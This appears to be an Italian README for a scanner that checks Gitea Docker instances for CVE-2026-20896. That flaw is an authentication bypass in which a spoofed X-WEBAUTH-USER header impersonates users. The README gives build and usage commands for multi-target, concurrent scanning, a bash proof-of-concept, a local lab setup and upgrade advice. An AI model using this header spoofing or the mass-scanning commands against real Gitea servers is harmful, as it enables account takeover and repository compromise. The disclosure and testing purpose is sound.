
CVE-2026-20896 Gitea Docker X-WEBAUTH-USER verificatore di bypass dell'autenticazione
Solo per operazioni autorizzate di red team / penetration test.
Questo repository contiene un checker minimale per CVE-2026-20896, un bypass dell'autenticazione nelle immagini Docker ufficiali di Gitea fino alla versione 1.26.2 inclusa quando l'autenticazione tramite reverse-proxy è abilitata.
Le immagini Docker di Gitea affette includevano un template app.ini con:
REVERSE_PROXY_TRUSTED_PROXIES = *
Quando un amministratore abilitava:
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Gitea considerava attendibile l'header X-WEBAUTH-USER proveniente da qualsiasi indirizzo IP in grado di raggiungere direttamente la porta HTTP del container. Un client che aggirava il reverse proxy autenticante previsto poteva inviare un singolo header e impersonare un utente noto o indovinabile.
L'impatto pratico è l'impersonificazione di account non autenticati. Se l'utente indovinato è un amministratore, il caso peggiore è la totale compromissione dell'istanza Gitea e dei suoi repository a livello applicativo. L'esecuzione remota di codice sull'host dipende dall'ambiente e non è rivendicata da questo checker.
Le versioni corrette iniziano con 1.26.3; si consiglia di aggiornare a 1.26.4 o successiva.
Il checker:
Powered by Gitea Version: 1.26.4.>= 1.26.3.GET / con X-WEBAUTH-USER: <username> per ogni nome utente fornito.La versione Go supporta più target, file di username, concorrenza, timeout, output JSONL, TLS --insecure, --dry-run e --force.
go build -o gitea-cve-2026-20896-check .
Non sono richieste dipendenze Go di terze parti.
Target singolo:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
Target multipli e username:
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
Prova a secco:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Fallback Bash:
./poc.sh --url http://localhost:3000 --users admin,alice
0: almeno un'impersonificazione vulnerabile confermata1: nessuna impersonificazione vulnerabile confermata2: errore di utilizzo, input o runtimeIl seguente laboratorio avvia un container Gitea locale affetto e crea un utente di test:
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
Risultato positivo previsto:
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
Pulizia:
docker rm -f gitea-cve-2026-20896
1.26.3 o successiva; 1.26.4 o successiva è preferita.1.26.3 / 1.26.4: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/